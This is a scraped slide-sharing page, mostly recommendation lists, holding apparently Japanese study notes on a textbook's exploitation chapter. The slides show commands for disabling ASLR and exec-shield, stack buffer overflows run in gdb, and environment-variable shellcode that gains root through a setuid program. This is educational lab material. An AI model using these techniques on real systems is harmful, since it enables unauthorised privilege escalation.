Enviar pesquisa
Carregar
0x300
•
Transferir como ODP, PDF
•
0 gostou
•
830 visualizações
G
geek_alice
Seguir
Denunciar
Compartilhar
Denunciar
Compartilhar
1 de 14
Baixar agora
Recomendados
Local php-100828 2
Local php-100828 2
Akio Ishida
Perlで伝統芸能
Perlで伝統芸能
hitode909
PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
traitを使って楽したい話
traitを使って楽したい話
infinite_loop
Ll xcode
Ll xcode
Net Kanayan
test
test
a1yama1123
Testman
Testman
makoto tsuyuki
初級者向けレッスン 51回 ─── 例外
初級者向けレッスン 51回 ─── 例外
higaki
Recomendados
Local php-100828 2
Local php-100828 2
Akio Ishida
Perlで伝統芸能
Perlで伝統芸能
hitode909
PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
traitを使って楽したい話
traitを使って楽したい話
infinite_loop
Ll xcode
Ll xcode
Net Kanayan
test
test
a1yama1123
Testman
Testman
makoto tsuyuki
初級者向けレッスン 51回 ─── 例外
初級者向けレッスン 51回 ─── 例外
higaki
Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104
Satoshi Suzuki
Functions
Functions
do_aki
01 php7
01 php7
Satoshi Yoshimura
Poolboy
Poolboy
Yusuke Muraoka
CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発
Shinzo SAITO
もにかじ2 lt @studio3104
もにかじ2 lt @studio3104
Satoshi Suzuki
みんな大好き! Hello, World
みんな大好き! Hello, World
Naohiro Aota
JavaScript入門
JavaScript入門
Ryo Maruyama
for JSDeferred Code Reading
for JSDeferred Code Reading
Kenichirou Oyama
zsh とわたし
zsh とわたし
Toshihiko Shimokawa
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
hecomi
What is Metasepi?
What is Metasepi?
Kiwamu Okabe
メタメタプログラミングRuby
メタメタプログラミングRuby
emasaka
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション
Shinichi Hirauchi
「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう
Kentaro Matsui
Goの文法の実例と解説
Goの文法の実例と解説
Ryuji Iwata
Start printf 6_takarakasai
Start printf 6_takarakasai
takara kasai
CakeRequest::onlyAllow() について
CakeRequest::onlyAllow() について
Yuya Takahashi
Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外
higaki
実用裏方 Perl 入門
実用裏方 Perl 入門
keroyonn
x86とコンテキストスイッチ
x86とコンテキストスイッチ
Masami Ichikawa
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
鉄次 尾形
Mais conteúdo relacionado
Mais procurados
Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104
Satoshi Suzuki
Functions
Functions
do_aki
01 php7
01 php7
Satoshi Yoshimura
Poolboy
Poolboy
Yusuke Muraoka
CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発
Shinzo SAITO
もにかじ2 lt @studio3104
もにかじ2 lt @studio3104
Satoshi Suzuki
みんな大好き! Hello, World
みんな大好き! Hello, World
Naohiro Aota
JavaScript入門
JavaScript入門
Ryo Maruyama
for JSDeferred Code Reading
for JSDeferred Code Reading
Kenichirou Oyama
zsh とわたし
zsh とわたし
Toshihiko Shimokawa
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
hecomi
What is Metasepi?
What is Metasepi?
Kiwamu Okabe
メタメタプログラミングRuby
メタメタプログラミングRuby
emasaka
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション
Shinichi Hirauchi
「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう
Kentaro Matsui
Goの文法の実例と解説
Goの文法の実例と解説
Ryuji Iwata
Start printf 6_takarakasai
Start printf 6_takarakasai
takara kasai
CakeRequest::onlyAllow() について
CakeRequest::onlyAllow() について
Yuya Takahashi
Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外
higaki
実用裏方 Perl 入門
実用裏方 Perl 入門
keroyonn
Mais procurados
(20)
Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104
Functions
Functions
01 php7
01 php7
Poolboy
Poolboy
CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発
もにかじ2 lt @studio3104
もにかじ2 lt @studio3104
みんな大好き! Hello, World
みんな大好き! Hello, World
JavaScript入門
JavaScript入門
for JSDeferred Code Reading
for JSDeferred Code Reading
zsh とわたし
zsh とわたし
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
What is Metasepi?
What is Metasepi?
メタメタプログラミングRuby
メタメタプログラミングRuby
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション
「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう
Goの文法の実例と解説
Goの文法の実例と解説
Start printf 6_takarakasai
Start printf 6_takarakasai
CakeRequest::onlyAllow() について
CakeRequest::onlyAllow() について
Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外
実用裏方 Perl 入門
実用裏方 Perl 入門
Semelhante a 0x300
x86とコンテキストスイッチ
x86とコンテキストスイッチ
Masami Ichikawa
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
鉄次 尾形
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみよう
Akira Shimosako
How to debug a perl script using gdb
How to debug a perl script using gdb
akirahiguchi
Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011
Hiro Yoshioka
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
inaz2
Programming camp 2010 debug hacks
Programming camp 2010 debug hacks
Hiro Yoshioka
Perl勉強会#2資料
Perl勉強会#2資料
Kiyo Tsunezumi
Programming camp 2008, Codereading
Programming camp 2008, Codereading
Hiro Yoshioka
about DakotagUI
about DakotagUI
Etsuji Nomura
PHP AST 徹底解説
PHP AST 徹底解説
do_aki
SEH on mingw32
SEH on mingw32
kikairoya
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
Kazuki Onishi
GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法
博文 斉藤
PHPの今とこれから2021
PHPの今とこれから2021
Rui Hirokawa
Objc lambda
Objc lambda
matuura_core
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web games
Noritada Shimizu
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理
Takeshi Arabiki
Dive into RTS - another side
Dive into RTS - another side
Kiwamu Okabe
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
y_taka_23
Semelhante a 0x300
(20)
x86とコンテキストスイッチ
x86とコンテキストスイッチ
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみよう
How to debug a perl script using gdb
How to debug a perl script using gdb
Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
Programming camp 2010 debug hacks
Programming camp 2010 debug hacks
Perl勉強会#2資料
Perl勉強会#2資料
Programming camp 2008, Codereading
Programming camp 2008, Codereading
about DakotagUI
about DakotagUI
PHP AST 徹底解説
PHP AST 徹底解説
SEH on mingw32
SEH on mingw32
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法
PHPの今とこれから2021
PHPの今とこれから2021
Objc lambda
Objc lambda
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web games
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理
Dive into RTS - another side
Dive into RTS - another side
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
0x300
1.
0x300 ハックする前の準備
● サンプルを用意する ● http://www.oreilly.co.jp/books/9784873115146/ ● execsheeld を無効にする ● echo 0 >/proc/sys/kernel/execshield ● ASLR を無効にする ● echo 0 >/proc/sys/kernel/randomize_va_space
2.
0x320 バッフアオーバーフロー ●
$gcc g fnostackprotector o auth_overflow auth_overflow.c ● $./auth_overflow `ruby e 'print "A"*20'`` ============= アクセスを許可します。 =============
3.
0x320 バッフアオーバーフロー
● $gcc g fnostackprotector o auth_overflow2 auth_overflow2.c ● $./auth_overflow2 `ruby e 'print "A"*20'` ============= アクセスを許可します。 ============= 通るんだけど?
4.
0x320 実際に見てみた
(gdb) x/x password_buffer 0xbffff21c: 0x41414141 (gdb) x/x &auth_flag 0xbffff22c: 0x41414141 変数の宣言を入れ替えても password_buffer のアドレスが &auth_flag のアドレスより低位 に存在する。
5.
0x330 bash を用いた実験
● $./auth_overflow2 ● (gdb) disas main ... 0x08048559 <+69>:movl $0x804868a,(%esp) 0x08048560 <+76>:call 0x80483cc <puts@plt> 0x08048565 <+81>:movl $0x80486a8,(%esp) ... ● (gdb) b 16 ● (gdb) r $(perl e 'print"x60x85x04x08" x10') ● (gdb) x/x $ebp 0xbffff228: 0x08048560
6.
0x330 bash を用いた実験
● 出力結果 ● (gdb) c Continuing. �g����$���[����$�O���� ͆ �$���A����Ð��U��]Ít& アクセスを許可します。 ============= ● フレームポインタの上書きに成功している?
7.
notesearch に対する脆弱性攻撃
● 目的は root へ setuid したプログラムを攻撃する ● スタック上にアセンブラコードを展開し、そ こへジャンプさせることで任意のコードが実 行できる。
8.
exploit_notesearch
実行時のスタックの様子 ● 戻りアドレスはローカル 変数がスタックに積まれ た時の仮想アドレスを基 にして生成されている。 ● 0x90 は NOP 命令
9.
0x331 環境変数を使用する
● 環境変数てなに? ● シェルに用いられる最初から定義されている変 数 例 ) $HOME $PATH $USER 等 printenv で確認できる。 ● 変数を書き換える (bash の場合 ) ● $export HOGE=foo ● $echo $HOGE foo
10.
バイナリデータを変数に設定する
● $export SHELLCODE=$(perl e 'print "x90"x200') (cat shellcode.bin) ● $echo $SHELLCODE ● スタックの底の方を GDB で見てみると SHELLCODE が見える。 ● つまり SHELLCODE までジャンプさせること が出来れば shellcode が実行できるのでは?
11.
環境変数の位置を把握する
● getenv() 関数を用いる ● $gcc getenv_example.c $./a.out SHELLCODE ( アドレスが出力される ) ● $./( 任意のプログラム名 ) SHELLCODE ( アドレスがプログラム名によって変化する )
12.
環境変数の位置を把握する 2
$gcc getenvaddr.c o getenvaddr $./getenvaddr SHELCODE ./notesearch SHELLCODE : 0xbfffff3c $./notesearch $(per 1 e 'print "¥x3c¥xff¥xff¥xbf"x40')
13.
環境変数を使って exploit する
$gcc exploit_notesearch_env.c ./a.out 権限昇格 !!
14.
スタックの状態
Baixar agora